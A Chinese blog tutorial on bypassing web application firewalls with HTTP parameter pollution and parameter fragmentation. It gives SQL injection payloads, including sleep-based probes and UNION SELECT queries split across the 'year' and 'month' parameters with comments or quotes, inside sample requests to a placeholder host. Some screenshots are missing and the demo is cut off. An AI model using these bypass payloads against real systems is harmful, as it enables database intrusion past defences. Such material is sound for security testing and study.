http 参数污染 (hpp) 和 http 参数碎片 (hpf)_jinyouxin的博客-爱代码爱编程
目录
前言:
在这篇文章中,将介绍绕过WAF技术,它们是 HTTP 参数污染 (HPP) 和 HTTP 参数碎片 (HPF)。虽然 HPP 是一种众所周知的技术,但它在 WAF 中的检测能力也很强。虽然检测 HPF 很困难,但它的先决条件更难被发现,这使得这种攻击成为一种罕见的发现。在这篇文章中,将首先介绍如何使用 HPP 绕过 WAF,然后我们将深入挖掘 HPF 技术的利用。
(一)HTTP 参数污染
首先让我们介绍一下 HTTP 参数污染 (HPP) 的基础知识。当我们向服务器发送请求时,通常有两个独立的组件在处理请求——WAF 和 Web 服务器。WAF 正在尝试分析请求内容,以识别已知攻击的特征。如果没有签名匹配,则允许请求并继续到网络服务器。如果 WAF 处理请求内容的方式和 Web 服务器处理请求内容的方式存在差异,那么我们作为攻击者可以利用这种差异来绕过 WAF 的限制。
Demo:
POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 49
{
"month" : "March",
"year" : "2010"
}
考虑该参数month
易受 SQL 注入攻击。month
我们在参数 like中输入了一个有效负载March' and sleep(5) --
,但它被 WAF 阻止了。现在,假设我们发送一个带有两个month
参数的请求,如下所示:
POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 73
{
"month" : "March",
"year" : "2010",
"month" : "April"
}
我们注意到应用程序打印了 4 月份的工资单,这意味着应用程序忽略了month
参数的第一个实例并选择了第二个参数的值。
如果 WAF 选择
month
参数的第一个值而忽略第二个值,则此处将存在 HPP 攻击。我们要做的是在第一个参数中传递一个有效值,month
并在第二个参数中传递我们的有效负载month
。WAF 将选择第一个,认为它有效并让请求通过。然后 webserver 将选择包含我们的有效负载的第二个值并执行。我们将绕过 WAF 的请求如下所示:
POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 87
{
"month" : "March",
"year" : "2010",
"month" : "April' and 1=1 -- a"
}
不同的网络服务器行为不同。其中一些选择参数的第二个实例,其中一些会首先选择,其中一些会连接它们。下表图1-1(取自Appsec EU 2009 Carettoni & Paola)列出了常见 Web 服务器的这种行为。
然而,HPP 是一种众所周知的技术,大多数 WAF 都配置为捕获此类攻击。你很少会找到一个有效的 HPP。还有另一种称为 HTTP 参数分段的姊妹技术。现在让我们介绍一下这项技术。
(二)HTTP 参数分片
2.1 问题陈述
我们在这里试图解决的问题类似于我们在 HPP 中遇到的问题——一个位于易受攻击的 Web 应用程序前面的 WAF。我们注意到 WAF 在用户输入中阻止了 SQL 注入负载,我们必须绕过这个限制。我们已经尝试过 HPP,但 WAF 足够聪明,可以检测到它。
2.2 要求
- 在同一个请求中应该有两个(或更多)参数容易受到攻击(如 SQL 注入)
- 后端都应该在单个操作中使用它们(如 SQL 查询)
这可能看起来令人困惑,因此让我们直接跳到示例以获得更好的清晰度。考虑以下请求:
POST /payslip HTTP/1.1
Host: vulnerable.dev
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
{
"year" : "2010",
"month" : "March"
}
我们发现两者month
都year
容易受到 SQL 注入的影响。从这个请求中,我们可以假设在后台运行的 SQL 查询看起来像这样:
SELECT * FROM payslips WHERE year = '$year' AND month = '$month'
为了证实这个假设,我们可以尝试各种payload。如果我们有基于错误的 SQL 注入,那么显而易见的选择是观察错误消息。当我们将单引号和双引号放在year
参数中时(如year=2010'"
),我们应该看到如下错误消息,如图2-1:
这应该确认我们确实在单个查询中使用了这两个参数。如果我们看不到错误消息,那么您可以使用一些布尔条件来判断这一点。例如,结果
SELECT * FROM payslips WHERE year='2010' OR 1=1 AND month='March' AND 1=2
应该不同于
SELECT * FROM payslips WHERE year='2010' AND 1=2 AND month='March' OR 1=1
您还可以使用 SQL 注释。结果
SELECT * FROM payslips WHERE year='2010' AND month='March' --
应该不同于
SELECT * FROM payslips WHERE year='2010' -- AND month='March'
应该还有其他方法,看经验了。
2.3 攻击
到目前为止,上面使用的要求和示例应该感受了这次攻击的一些气息。这种攻击的关键是在两个参数之间划分有效载荷。通过这样做,WAF 将无法检测任何参数值中的 SQL 注入签名,从而绕过 WAF。
假设 WAF 阻止了以下参数:
{
"year" : "2010",
"month" : "March' AND 1=2 UNION SELECT 1,2 -- "
}
经过大量的尝试和尝试,我们注意到当参数的值匹配时,WAF 会阻止请求' ... UNION SELECT ...'
我们已经知道两者year
并且month
正在查询中使用。我们可以在这些参数中拆分我们的有效负载。查看以下参数:
{
"year" : "2010' AND 1=2 UNION /*",
"month" : "*/ SELECT 1,2 -- "
}
使用这些值,查询实际上看起来像:
SELECT * FROM payslips WHERE year='2010' AND 1=2 UNION /* AND month='*/ SELECT 1,2 -- '
注意多行注释是如何巧妙地利用我们的优势。我们的参数现在都与' ... UNION SELECT ...
模式不匹配,因此请求将通过 WAF。如果 SQL 注释 (/*
或*/
) 被 WAF 阻止,那么您可以使用开放式引号将我们将注释的查询部分括起来。参数应如下所示:
{
"year" : "2010' AND 1=2 AND 'abc' <> \"xyz",
"month" : "\" UNION SELECT 1,2 -- "
}
查询如下所示:
SELECT * FROM payslips WHERE year='2010' AND 1=2 AND 'abc' <> "xyz AND month='" UNION SELECT 1,2 -- '
请注意包含的查询部分
month
现在是字符串的一部分,就像它是上面评论的一部分一样。虽然这在 WAF 阻止类似 的模式时不起作用' ... UNION SELECT ...
,但此技巧仍可用于绕过其他类型的限制。
(三)Demo
现在我们已经涵盖了理解这种攻击所需的所有理论。我们手头有以下要求:
让我们在这里尝试一个基于 UNION 的普通 SQL 注入。我们发现表中有 4 列,但是当我们运行 UNION 有效负载时,我们被 WAF 阻止:
经过一些尝试,我们意识到 WAF 正在阻塞union select
并且union all select
. 我们可以尝试在两者之间添加jinyouxin,但没有帮助:
我们现在将在这里尝试使用 HPF,看看它是否可以帮助我们。让我们首先确认哪个参数在查询中首先出现。我将通过检查错误消息来做到这一点。
从错误消息中,我们可以确认该year
参数month
在 SQL 查询中出现在前面。现在我们必须在这两个参数之间拆分整个有效负载:
注意:
SQL 查询可以容忍查询中的 CR/LF。
union
当两个单词 ( andselect
here) 的组合被阻止并且 SQL 多行注释也被阻止时,我们可以在我们的场景中利用这一点:
SQL 注入绕过技术再次总结_jinyouxin的博客-CSDN博客